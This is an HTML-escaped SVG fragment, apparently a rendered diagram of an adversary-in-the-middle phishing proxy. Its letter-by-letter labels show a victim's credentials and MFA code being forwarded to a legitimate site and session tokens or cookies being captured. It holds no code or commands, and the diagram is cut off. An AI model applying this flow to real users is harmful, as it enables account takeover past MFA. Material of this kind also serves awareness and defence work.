&lt;path d=&#39;M 256,528 L 256,536&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;polygon points=&#39;272.000000,528.000000 260.000000,522.400024 260.000000,533.599976&#39; fill=&#39;currentColor&#39; transform=&#39;rotate(90.000000, 256.000000, 528.000000)&#39;&gt;&lt;/polygon&gt;
&lt;path d=&#39;M 296,88 L 296,96&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;polygon points=&#39;312.000000,96.000000 300.000000,90.400002 300.000000,101.599998&#39; fill=&#39;currentColor&#39; transform=&#39;rotate(270.000000, 296.000000, 96.000000)&#39;&gt;&lt;/polygon&gt;
&lt;path d=&#39;M 296,216 L 296,224&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;polygon points=&#39;312.000000,224.000000 300.000000,218.399994 300.000000,229.600006&#39; fill=&#39;currentColor&#39; transform=&#39;rotate(270.000000, 296.000000, 224.000000)&#39;&gt;&lt;/polygon&gt;
&lt;polygon points=&#39;608.000000,64.000000 596.000000,58.400002 596.000000,69.599998&#39; fill=&#39;currentColor&#39; transform=&#39;rotate(0.000000, 600.000000, 64.000000)&#39;&gt;&lt;/polygon&gt;
&lt;path d=&#39;M 208,288 A 16,16 0 0,0 192,304&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 352,320 A 16,16 0 0,1 336,336&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;0&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;A&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;0&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;8&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;d&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;8&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;16&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;v&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;16&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;24&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;a&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;24&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;32&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;n&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;32&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;40&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;c&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;40&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;48&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;48&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;56&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;d&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;56&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;64&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;72&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;P&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;72&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;80&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;h&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;80&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;88&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;88&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;96&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;s&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;96&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;104&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;h&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;104&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;112&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;112&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;120&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;n&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;120&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;128&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;g&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;128&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;128&#39; y=&#39;116&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;1&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;128&#39; y=&#39;132&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;C&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;128&#39; y=&#39;244&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;2&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;128&#39; y=&#39;260&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;C&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;128&#39; y=&#39;372&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;4&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;128&#39; y=&#39;388&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;o&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;128&#39; y=&#39;404&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;t&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;136&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;136&#39; y=&#39;116&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;.&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;136&#39; y=&#39;132&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;r&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;136&#39; y=&#39;244&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;.&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;136&#39; y=&#39;260&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;r&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;136&#39; y=&#39;372&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;.&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;136&#39; y=&#39;388&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;f&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;136&#39; y=&#39;404&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;o&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;144&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;w&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;144&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;144&#39; y=&#39;132&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;144&#39; y=&#39;260&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;144&#39; y=&#39;404&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;k&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;152&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;152&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;152&#39; y=&#39;116&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;E&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;152&#39; y=&#39;132&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;d&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;152&#39; y=&#39;244&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;F&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;152&#39; y=&#39;260&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;d&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;152&#39; y=&#39;372&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;S&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;152&#39; y=&#39;388&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;s&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;152&#39; y=&#39;404&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;160&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;t&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;160&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;160&#39; y=&#39;116&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;n&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;160&#39; y=&#39;132&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;s&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;160&#39; y=&#39;244&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;o&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;160&#39; y=&#39;260&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;s&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;160&#39; y=&#39;372&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;160&#39; y=&#39;388&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;160&#39; y=&#39;404&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;n&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;168&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;h&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;168&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;168&#39; y=&#39;116&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;t&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;168&#39; y=&#39;244&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;r&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;168&#39; y=&#39;372&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;n&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;168&#39; y=&#39;388&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;s&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;168&#39; y=&#39;404&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;/&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;176&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;176&#39; y=&#39;116&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;176&#39; y=&#39;132&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;+&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;176&#39; y=&#39;244&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;w&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;176&#39; y=&#39;260&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;+&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;176&#39; y=&#39;372&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;d&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;176&#39; y=&#39;388&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;s&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;176&#39; y=&#39;404&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;c&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;184&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;P&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;184&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;184&#39; y=&#39;116&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;r&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;184&#39; y=&#39;244&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;a&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;184&#39; y=&#39;372&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;s&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;184&#39; y=&#39;388&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;184&#39; y=&#39;404&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;o&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;192&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;r&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;192&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;192&#39; y=&#39;116&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;s&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;192&#39; y=&#39;132&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;M&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;192&#39; y=&#39;244&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;r&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;192&#39; y=&#39;260&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;M&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;192&#39; y=&#39;388&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;o&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;192&#39; y=&#39;404&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;o&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;200&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;o&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;200&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;200&#39; y=&#39;132&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;F&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;200&#39; y=&#39;244&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;d&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;200&#39; y=&#39;260&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;F&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;200&#39; y=&#39;372&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;c&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;200&#39; y=&#39;388&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;n&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;200&#39; y=&#39;404&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;k&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;208&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;x&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;208&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;208&#39; y=&#39;132&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;A&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;208&#39; y=&#39;180&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;A&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;208&#39; y=&#39;244&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;s&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;208&#39; y=&#39;260&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;A&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;208&#39; y=&#39;308&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;L&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;208&#39; y=&#39;324&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;S&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;208&#39; y=&#39;372&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;o&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;208&#39; y=&#39;404&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;216&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;y&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;216&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;216&#39; y=&#39;180&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;t&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;216&#39; y=&#39;260&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;*&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;216&#39; y=&#39;308&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;216&#39; y=&#39;324&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;S&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;216&#39; y=&#39;372&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;p&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;216&#39; y=&#39;404&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;224&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;224&#39; y=&#39;180&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;t&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;224&#39; y=&#39;308&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;g&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;224&#39; y=&#39;324&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;O&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;224&#39; y=&#39;372&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;y&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;224&#39; y=&#39;404&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;s&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;224&#39; y=&#39;452&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;A&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;224&#39; y=&#39;564&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;A&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;232&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;/&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;232&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;232&#39; y=&#39;180&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;a&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;232&#39; y=&#39;196&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;(&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;232&#39; y=&#39;308&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;232&#39; y=&#39;452&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;d&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;232&#39; y=&#39;564&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;p&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;240&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;240&#39; y=&#39;180&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;c&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;240&#39; y=&#39;196&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;A&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;240&#39; y=&#39;308&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;t&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;240&#39; y=&#39;324&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;P&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;240&#39; y=&#39;452&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;v&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;240&#39; y=&#39;564&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;p&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;248&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;A&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;248&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;248&#39; y=&#39;180&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;k&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;248&#39; y=&#39;196&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;248&#39; y=&#39;308&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;248&#39; y=&#39;324&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;o&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;248&#39; y=&#39;452&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;248&#39; y=&#39;564&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;l&lt;/text&gt;
